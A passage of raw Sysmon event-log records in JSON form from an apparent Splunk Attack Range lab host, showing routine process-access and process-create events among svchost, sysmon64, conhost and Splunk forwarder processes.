11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5977,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5978,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5979,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5980,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.135\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B2-5F2D-0000-0010C7E90800}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.135","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B2-5F2D-0000-0010C7E90800}","TargetProcessId":"3640","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.933\r\nProcessGuid: {90617006-41B2-5F2D-0000-00109FEB0800}\r\nProcessId: 2612\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.933","ProcessGuid":"{90617006-41B2-5F2D-0000-00109FEB0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B2-5F2D-0000-00109FEB0800}\r\nTargetProcessId: 2612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B2-5F2D-0000-00109FEB0800}","TargetProcessId":"2612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B2-5F2D-0000-00109FEB0800}\r\nTargetProcessId: 2612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B2-5F2D-0000-00109FEB0800}","TargetProcessId":"2612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 